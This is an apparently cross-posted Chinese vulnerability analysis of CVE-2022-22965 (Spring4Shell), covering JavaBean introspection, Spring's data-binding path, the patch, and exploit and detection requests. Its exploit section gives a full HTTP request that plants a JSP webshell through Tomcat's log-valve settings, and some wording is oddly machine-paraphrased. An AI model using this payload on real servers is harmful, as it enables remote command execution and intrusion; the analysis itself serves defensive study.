本文分享自华为云社区《CVE-2022-22965 缝隙剖析》,作者:Xuuuu。

CVE-2022-22965

A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

环境搭建

VulEnv/springboot/cve-2022-22965 at master XuCcc/VulEnv

前置知识

JavaBean

一个典型的 Bean 目标如下

class UserInfo {
    private int age;  
    public int getAge() {  
        return age;  
    }  
    public void setAge(int age) {  
        this.age = age;  
    }  
}

经过 private 界说特点 经过 public getXyz/setXyz 来读写的 class 被称为 JavaBean [^1]

Introspector

java.beans.Introspector [^2] 提供一套规范的办法来访问 javaBean 中的特点、办法、事件,会查找 Bean 自身并一路往上查找父类来获取信息。如经过 java.beans.PropertyDescriptor 来获取特点相关的信息(name/getter/setter/...

public static void main(String args[]) throws IntrospectionException {
    BeanInfo info = Introspector.getBeanInfo(UserInfo.class);  
    PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();  
    for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {  
        System.out.println(propertyDescriptor);  
        System.out.println("=================================================");  
    }  
}
// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================

也能够经过内省操作来进行赋值操作

UserInfo user = new UserInfo();
System.out.println("age: " + user.getAge());  
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();  
pd.getWriteMethod().invoke(user, 18);  
System.out.println("age: " + user.getAge());
// age: 0
// age: 18

Spring BeanWrapperImpl

提供了一套简略的api来进行 JavaBean 的操作,以及一些高级特性(嵌套特点、批量读写等)

public class User {
    private String name;  
    private UserInfo info;  
    public String getName() {  
        return name;  
    }  
    public void setName(String name) {  
        this.name = name;  
    }  
    public UserInfo getInfo() {  
        return info;  
    }  
    public void setInfo(UserInfo info) {  
        this.info = info;  
    }  
    public static void main(String args[]) {  
        User user = new User();  
        BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);  
        bw.setAutoGrowNestedPaths(true);  
        bw.setPropertyValue("name", "wang");  
        bw.setPropertyValue("info.age", 18);  
        System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());  
    }  
}
// wang is 18

在 setPropertyValue(“name”, “wang”) 处剖析调用逻辑,大致了解下流程

org.springframework.beans.AbstractNestablePropertyAccessor[^3]

  1. 调用getPropertyAccessorForPropertyPath办法经过 getter 来获取嵌套特点
    1. getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 特点时,循环调用 getter 取值
  2. 调用setPropertyValue办法经过 setter 来设置特点
    1. processKeyedProperty 设置 Array/List… 目标
    2. processLocalProperty 设置简略 Bean 目标
      1. getLocalPropertyHandler 获取特点描述符
        1. getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
          1. CachedIntrospectionResults#forClass 为当时Bean创建缓存
      2. setValue 经过反射调用 setter 进行赋值

Spring data bind

以如下的 controller 为例,跟踪 spring 参数绑定的过程

@GetMapping("/")
public String info(User user) {  
    return String.format("%s is %d", user.getName(), user.getInfo().getAge());  
}
  1. 传入的 http 请求经过 org.springframework.web.servlet.DispatcherServlet#doDispatch处理,寻觅对应的 Handler 进行处理
  2. org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定
  3. 运用响应的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析,从 request 中获取参数。这里为 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
  4. 接下来进入到 org.springframework.validation.DataBinder#doBind,依据 JavaBean 目标来进行赋值。这里会获取一个BeanWrapperImpl经过setPropertyValues来进行赋值
  5. org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
  6. org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue

源码剖析

官方在 5.3.18 修复了这个问题,检查 Comparing v5.3.17…v5.3.18 spring-projects/spring-framework 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults 处进行了相关修改,加强了一个 PropertyDescriptor 相关的过滤。检查相关调用

  • org.springframework.beans.CachedIntrospectionResults#forClass
  • org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults

结合上文的内容不难揣度,Spring在进行参数绑定时调用的 BeanWrapperImpl在进行JavaBean操作时触发了此缝隙。

<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...

Exp 编写

因为 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults 能够经过 class.module.classLoader 来获取 classLoader,所以这个洞也是 CVE-2010-1622[^5] 的绕过。

现在撒播的EXP都是使用 Tomcat 的 ParallelWebappClassLoader 来修改 Tomcat 中日志相关的特点[^6],来向日志文件写入 webshell 达到指令执行的目的。
例如向 webapps/shell.jsp 写入 http header 中的 cmd

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

发送报文

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>

就能够使用 shell.jsp?a=cmd 来执行指令了

一些其他使用细节能够参考:关于Spring framework rce(CVE-2022-22965)的一些问题考虑

补丁修复

Spring 在获取特点描述符时加强了判别,只留下了 name 特点。

if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
    // Only allow all name variants of Class properties
    continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
        || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
    // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
    continue;
}

Poc 编写

经过错误地设置 classloader 下的特点来触发 BindException反常让服务端回来反常即可判别是否存在缝隙,例如发送

GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

服务端回来

HTTP/1.1 400
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>

Reference

  • Spring Framework RCE, Early Announcement
  • SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 – Microsoft Security Blog
  • SpringMVC参数绑定原理 | 技能驱动生活
  • Spring Framework RCE缝隙剖析 | Gta1ta’s Blog
  • CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations

Footnote

[^1]: JavaBeans – Wikipedia
[^2]: Introspector (Java Platform SE 8 )
[^3]: Spring 特点注入(三)AbstractNestablePropertyAccessor – binarylei – 博客园
[^4]: Module (Java SE 9 & JDK 9 )
[^5]: SpringMVC结构任意代码执行缝隙(CVE-2010-1622)剖析 – Ruilin
[^6]: Apache Tomcat 8 Configuration Reference (8.0.53) – The Valve Component

文末福利:华为云缝隙扫描服务VSS 根底版限时免费体验>>>

点击关注,第一时间了解华为云新鲜技能~